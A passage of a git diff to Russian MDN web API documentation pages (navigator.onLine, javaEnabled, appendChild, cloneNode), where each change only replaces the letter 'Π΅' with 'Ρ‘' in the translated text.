lang="ru"><span class="hps">Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅</span> <span class="hps">ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ</span> <span class="hps">Π»ΠΎΠΆΠ½Ρ‹Π΅ срабатывания</span><span>, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,</span> <span class="hps">Π² случаях, ΠΊΠΎΠ³Π΄Π°</span> <span class="hps">ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€</span> <span class="hps">ΠΏΠΎΠ΄ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ</span> <span class="hps">ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния</span> <span class="hps">для Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ</span><span>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚</span> <span class="hps">Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅</span> <span class="hps">сСтСвыС Π°Π΄Π°ΠΏΡ‚Π΅Ρ€Ρ‹</span><span>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ всСгда</span> <span class="atn hps">"</span><span>ΠŸΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ".</span></span>Β <span id="result_box" lang="ru"><span class="hps">ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ</span><span>,</span> <span class="hps">Ссли Π²Ρ‹ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅</span><span>, Ρ‡Ρ‚ΠΎΠ±Ρ‹</span> <span class="hps">ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ состояниС</span> <span class="hps">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</span><span>,</span> <span class="hps">Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ</span> <span class="hps">Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ срСдства</span> <span class="hps">ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ</span><span>.</span></span>Β <span id="result_box" lang="ru"><span class="hps">Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ большС</span><span>, см</span>ΠΎΡ‚Ρ€ΠΈΡ‚Π΅ <span class="hps">ΡΡ‚Π°Ρ‚ΡŒΡŽ</span> <span class="hps">HTML5</span></span> <a class="external" href="http://www.html5rocks.com/en/mobile/workingoffthegrid.html"> Working Off the Grid</a>.</p>
<p><span id="result_box" lang="ru"><span class="hps">Π’ Firefox</span> <span class="hps">ΠΈ</span> <span class="hps">Internet Explorer</span><span>, ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅</span> <span class="hps">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€</span>Π° <span class="hps">Π² Π°Π²Ρ‚ΠΎΠ½ΠΎΠΌΠ½Ρ‹ΠΉ Ρ€Π΅ΠΆΠΈΠΌ</span> <span class="hps">посылаСт</span> </span><code>false</code> Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Π’ΠΎ всСх ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ… случаях возвращаСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅<code> true</code>.</p>
-<p><span id="result_box" lang="ru"><span class="hps">Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅</span> <span class="hps">ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ измСнСния</span> <span class="hps">Π²</span> <span class="hps">состоянии сСти</span> <span class="hps">ΠΏΡƒΡ‚Π΅ΠΌ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ</span> <span class="hps">событий </span></span><a href="/en-US/docs/Web/API/document.ononline"><code>window.ononline</code></a> ΠΈ <a href="/en-US/docs/Web/API/document.onoffline"><code>window.onoffline</code></a>.</p>
+<p><span id="result_box" lang="ru"><span class="hps">Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅</span> <span class="hps">ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ измСнСния</span> <span class="hps">Π²</span> <span class="hps">состоянии сСти</span> <span class="hps">ΠΏΡƒΡ‚Ρ‘ΠΌ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ</span> <span class="hps">событий </span></span><a href="/en-US/docs/Web/API/document.ononline"><code>window.ononline</code></a> ΠΈ <a href="/en-US/docs/Web/API/document.onoffline"><code>window.onoffline</code></a>.</p>
<h2 id="Syntax" name="Syntax">Бинтаксис</h2>
@@ -124,7 +124,7 @@ window.addEventListener("online", function(e) {alert("online");})
</table>
</div>
-<p>[1] <span id="result_box" lang="ru"><span class="hps">Начиная с</span> <span class="hps">Firefox</span> <span class="hps">4</span><span>,</span> <span class="hps">ΠΈ</span> <span class="hps">Opera</span> <span class="hps">11.10</span><span>,</span> <span class="hps">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚</span> <span class="hps"><code>true</code>, ΠΊΠΎΠ³Π΄Π°</span> <span class="hps">Ρ€Π΅ΠΆΠΈΠΌ</span> <span class="atn hps">"</span><span>Π Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π°Π²Ρ‚ΠΎΠ½ΠΎΠΌΠ½ΠΎ</span><span>"</span> <span class="hps">ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½, ΠΈ</span> <code><span class="hps">false</span></code><span>, ΠΊΠΎΠ³Π΄Π°</span> <span class="hps">ΠΎΠ½ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½</span><span>,</span> <span class="hps">нСзависимо ΠΎΡ‚ фактичСского</span> <span class="hps">ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ</span><span>.</span></span></p>
+<p>[1] <span id="result_box" lang="ru"><span class="hps">Начиная с</span> <span class="hps">Firefox</span> <span class="hps">4</span><span>,</span> <span class="hps">ΠΈ</span> <span class="hps">Opera</span> <span class="hps">11.10</span><span>,</span> <span class="hps">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚</span> <span class="hps"><code>true</code>, ΠΊΠΎΠ³Π΄Π°</span> <span class="hps">Ρ€Π΅ΠΆΠΈΠΌ</span> <span class="atn hps">"</span><span>Π Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π°Π²Ρ‚ΠΎΠ½ΠΎΠΌΠ½ΠΎ</span><span>"</span> <span class="hps">ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½, ΠΈ</span> <code><span class="hps">false</span></code><span>, ΠΊΠΎΠ³Π΄Π°</span> <span class="hps">ΠΎΠ½ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½</span><span>,</span> <span class="hps">нСзависимо ΠΎΡ‚ фактичСского</span> <span class="hps">ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ</span><span>.</span></span></p>
<p>[2]<span id="result_box" lang="ru"><span class="hps"> Π‘ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½ΠΈΠ΅ вСрсии</span> <span class="hps">Chrome</span>Β <span class="hps">Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π»ΠΈ</span> <span class="hps"><code>true</code> Π½Π΅Π²Π΅Ρ€Π½ΠΎ, ΠΊΠΎΠ³Π΄Π°</span> <span class="hps">Π²ΠΊΠ»Π°Π΄ΠΊΠ°</span> <span class="hps">открываСтся Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅,</span> <span class="hps">Ρ‚ΠΎ ΠΎΠ½</span> Π²Π½Π°Ρ‡Π°Π»Π΅ сообщаСт ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ статус <span class="hps">ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ</span> <span class="hps">послС</span> <span class="hps">ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ события</span> <span class="hps">сСти.</span></span></p>
@@ -132,7 +132,7 @@ window.addEventListener("online", function(e) {alert("online");})
<h2 id="Notes" name="Notes">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</h2>
-<p><span id="result_box" lang="ru"><span class="hps">Π‘ΠΌ</span> </span><a href="/en-US/docs/Online_and_offline_events" title="Online_and_offline_events">Online/Offline</a><span lang="ru"><span class="hps"> события</span> <span class="hps">для Π±ΠΎΠ»Π΅Π΅ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ</span> <span class="hps">описания</span> <span class="hps">этого</span> <span class="hps">свойства, Π° Ρ‚Π°ΠΊΠΆΠ΅</span> <span class="hps">Π½ΠΎΠ²Ρ‹Ρ… возмоТностСй</span> <span class="hps">Π² Π°Π²Ρ‚ΠΎΠ½ΠΎΠΌΠ½ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅</span><span>,Β  </span><span class="hps">Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹Ρ…</span> <span class="hps">Π²</span></span> Firefox 3.</p>
+<p><span id="result_box" lang="ru"><span class="hps">Π‘ΠΌ</span> </span><a href="/en-US/docs/Online_and_offline_events" title="Online_and_offline_events">Online/Offline</a><span lang="ru"><span class="hps"> события</span> <span class="hps">для Π±ΠΎΠ»Π΅Π΅ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ</span> <span class="hps">описания</span> <span class="hps">этого</span> <span class="hps">свойства, Π° Ρ‚Π°ΠΊΠΆΠ΅</span> <span class="hps">Π½ΠΎΠ²Ρ‹Ρ… возмоТностСй</span> <span class="hps">Π² Π°Π²Ρ‚ΠΎΠ½ΠΎΠΌΠ½ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅</span><span>,Β  </span><span class="hps">Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹Ρ…</span> <span class="hps">Π²</span></span> Firefox 3.</p>
<h2 id="Specification" name="Specification">БпСцификация</h2>
diff --git a/files/ru/web/api/navigatorplugins/index.html b/files/ru/web/api/navigatorplugins/index.html
index 3ab846b1c6..3cd92d124f 100644
--- a/files/ru/web/api/navigatorplugins/index.html
+++ b/files/ru/web/api/navigatorplugins/index.html
@@ -24,7 +24,7 @@ translation_of: Web/API/NavigatorPlugins
<dl>
<dt>{{domxref("NavigatorPlugins.javaEnabled")}} {{readonlyInline}}{{experimental_inline}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ„Π»Π°Π³ {{domxref("Boolean")}} ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ Π»ΠΈ java Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ ΠΈΠ»ΠΈ Π½Π΅Ρ‚.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ„Π»Π°Π³ {{domxref("Boolean")}} ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π»ΠΈ java Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ ΠΈΠ»ΠΈ Π½Π΅Ρ‚.</dd>
</dl>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/api/navigatorplugins/javaenabled/index.html b/files/ru/web/api/navigatorplugins/javaenabled/index.html
index 5d3ce42232..be4e6f741b 100644
--- a/files/ru/web/api/navigatorplugins/javaenabled/index.html
+++ b/files/ru/web/api/navigatorplugins/javaenabled/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/NavigatorPlugins/javaEnabled
---
<p>{{ APIRef("HTML DOM") }}</p>
-<p>Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ Π»ΠΈ java Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ ΠΈΠ»ΠΈ Π½Π΅Ρ‚.</p>
+<p>Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π»ΠΈ java Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ ΠΈΠ»ΠΈ Π½Π΅Ρ‚.</p>
<h2 id="Syntax" name="Syntax">Бинтаксис</h2>
@@ -21,7 +21,7 @@ translation_of: Web/API/NavigatorPlugins/javaEnabled
<h2 id="Notes" name="Notes">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</h2>
-<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ этого ΠΌΠ΅Ρ‚ΠΎΠ΄Π° ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ java, Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ Π»ΠΈ ΠΈΠ»ΠΈ Π²Ρ‹ΠΊΠ»ΡŽΡ‡Π΅Π½ - Π½Π΅ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅Ρ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ java Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ.</p>
+<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ этого ΠΌΠ΅Ρ‚ΠΎΠ΄Π° ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ java, Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π»ΠΈ ΠΈΠ»ΠΈ Π²Ρ‹ΠΊΠ»ΡŽΡ‡Π΅Π½ - Π½Π΅ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅Ρ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ java Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ.</p>
<h2 id="Specification" name="Specification">БпСцификация</h2>
diff --git a/files/ru/web/api/node/appendchild/index.html b/files/ru/web/api/node/appendchild/index.html
index e011179528..149d9b9b98 100644
--- a/files/ru/web/api/node/appendchild/index.html
+++ b/files/ru/web/api/node/appendchild/index.html
@@ -45,7 +45,7 @@ translation_of: Web/API/Node/appendChild
<h2 id="Example" name="Example">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
-<pre class="brush:js notranslate">// Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π°, ΠΈ вставляСм Π² ΠΊΠΎΠ½Π΅Ρ† document body
+<pre class="brush:js notranslate">// Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π°, ΠΈ вставляСм Π² ΠΊΠΎΠ½Π΅Ρ† document body
var p = document.createElement("p");
document.body.appendChild(p);</pre>
diff --git a/files/ru/web/api/node/clonenode/index.html b/files/ru/web/api/node/clonenode/index.html
index fbb7f327e7..64c76b2749 100644
--- a/files/ru/web/api/node/clonenode/index.html
+++ b/files/ru/web/api/node/clonenode/index.html
@@ -24,7 +24,7 @@ translation_of: Web/API/Node/cloneNode
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Π² спСцификации DOM4 (ΠΊΠ°ΠΊ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ΠΎ Π² GeckoΒ 13.0 {{geckoRelease(13)}}), <code>deep</code> Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚. Если ΠΎΠ½ ΠΎΠΏΡƒΡ‰Π΅Π½, ΠΌΠ΅Ρ‚ΠΎΠ΄ дСйствуСт ΠΊΠ°ΠΊ Ссли Π±Ρ‹ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>deep</code> Π±Ρ‹Π»ΠΎ <strong><code>true</code></strong>, ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π³Π»ΡƒΠ±ΠΎΠΊΠΎΠ΅ ΠΊΠ»ΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅. Для создания повСрхностного клонирования, <code>deep</code> Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ установлСн ΠΊΠ°ΠΊ <code>false</code>.</p>
-<p>Π­Ρ‚ΠΎ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Π±Ρ‹Π»ΠΎ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΎ Π² послСднСй спСцификации, ΠΈ Ссли ΠΎΠΏΡƒΡ‰Π΅Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΌΠ΅Ρ‚ΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ Π΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ Ссли Π±Ρ‹ <code>deep</code> Π±Ρ‹Π»ΠΎ <strong><code>false</code></strong>. Π₯отя, это всС Π΅Ρ‰Π΅ Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Π²Ρ‹ всСгда Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ <code>deep</code>, для прямой ΠΈ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΉ совмСстимости. Π‘ GeckoΒ 28.0 {{geckoRelease(28)}}), консоль ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π°Π΅Ρ‚ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² Π½Π΅ ΠΎΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚. Начиная с GeckoΒ 29.0 {{geckoRelease(29)}}), повСрхностный ΠΊΠ»ΠΎΠ½, ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, вмСсто Π³Π»ΡƒΠ±ΠΎΠΊΠΎΠ³ΠΎ ΠΊΠ»ΠΎΠ½Π°.</p>
+<p>Π­Ρ‚ΠΎ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Π±Ρ‹Π»ΠΎ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΎ Π² послСднСй спСцификации, ΠΈ Ссли ΠΎΠΏΡƒΡ‰Π΅Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΌΠ΅Ρ‚ΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ Π΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ Ссли Π±Ρ‹ <code>deep</code> Π±Ρ‹Π»ΠΎ <strong><code>false</code></strong>. Π₯отя, это всС Π΅Ρ‰Ρ‘ Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Π²Ρ‹ всСгда Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ <code>deep</code>, для прямой ΠΈ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΉ совмСстимости. Π‘ GeckoΒ 28.0 {{geckoRelease(28)}}), консоль ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π°Π΅Ρ‚ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² Π½Π΅ ΠΎΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚. Начиная с GeckoΒ 29.0 {{geckoRelease(29)}}), повСрхностный ΠΊΠ»ΠΎΠ½, ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, вмСсто Π³Π»ΡƒΠ±ΠΎΠΊΠΎΠ³ΠΎ ΠΊΠ»ΠΎΠ½Π°.</p>
</div>
<h2 id="Example" name="Example">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
@@ -37,7 +37,7 @@ translation_of: Web/API/Node/cloneNode
<p id="not-event-listeners">ΠšΠ»ΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΡƒΠ·Π»ΠΎΠ² ΠΊΠΎΠΏΠΈΡ€ΡƒΠ΅Ρ‚ всС Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ ΠΈ ΠΈΡ… значСния, Π² Ρ‚ΠΎΠΌ числС собствСнных (Π² линию) ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Ρ‡ΠΈΠΊΠΎΠ². Π­Ρ‚ΠΎ Π½Π΅ ΠΊΠΎΠΏΠΈΡ€ΡƒΠ΅Ρ‚ ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Ρ‡ΠΈΠΊΠΈ событий, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½Ρ‹Ρ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ <a href="/en-US/docs/DOM/element.addEventListener" title="/en-US/docs/DOM/element.addEventListener"><code>addEventListener()</code></a> ΠΈΠ»ΠΈ Ρ‚Π΅Ρ… Ρ‡Ρ‚ΠΎ Π½Π°Π·Π½Π°Ρ‡Π΅Π½Ρ‹ Ρ‡Π΅Ρ€Π΅Π· свойства элСмСнта (Ρ‚.Π΅ <code>node.onclick = fn</code>).</p>
-<p>Π”ΡƒΠ±Π»ΠΈΠΊΠ°Ρ‚ ΡƒΠ·Π»Π°, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½ΠΎΠ³ΠΎ <code>cloneNode()</code> Π½Π΅ являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, ΠΏΠΎΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΡƒΠ·Π΅Π», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{domxref("Node.appendChild()")}} ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ родитСля, ΠΏΠΎΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ ΠΊ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ ΡƒΠ·Π»Ρƒ.</p>
+<p>Π”ΡƒΠ±Π»ΠΈΠΊΠ°Ρ‚ ΡƒΠ·Π»Π°, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½ΠΎΠ³ΠΎ <code>cloneNode()</code> Π½Π΅ являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, ΠΏΠΎΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΡƒΠ·Π΅Π», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{domxref("Node.appendChild()")}} ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ родитСля, ΠΏΠΎΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ ΠΊ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ ΡƒΠ·Π»Ρƒ.</p>
<p><code>Если deep</code> установлСн ΠΊΠ°ΠΊ <code>false</code>, Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ ΡƒΠ·Π»Ρ‹ Π½Π΅ ΠΊΠ»ΠΎΠ½ΠΈΡ€ΡƒΡŽΡ‚ΡΡ. Π›ΡŽΠ±ΠΎΠΉ тСкст, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит ΡƒΠ·Π΅Π» Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅ клонируСтся, ΠΊΠ°ΠΊ ΠΈ содСрТащийся Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ Π΄ΠΎΡ‡Π΅Ρ€Π½Π΅ΠΌ ΡƒΠ·Π»Π΅ {{domxref("Text")}}.</p>
@@ -45,7 +45,7 @@ translation_of: Web/API/Node/cloneNode
<div class="warning"><strong>Π’Π½ΠΈΠΌΠ°Π½ΠΈΠ΅:</strong> <code>cloneNode()</code> ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ Π΄ΡƒΠ±Π»ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠ² элСмСнтов Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅.</div>
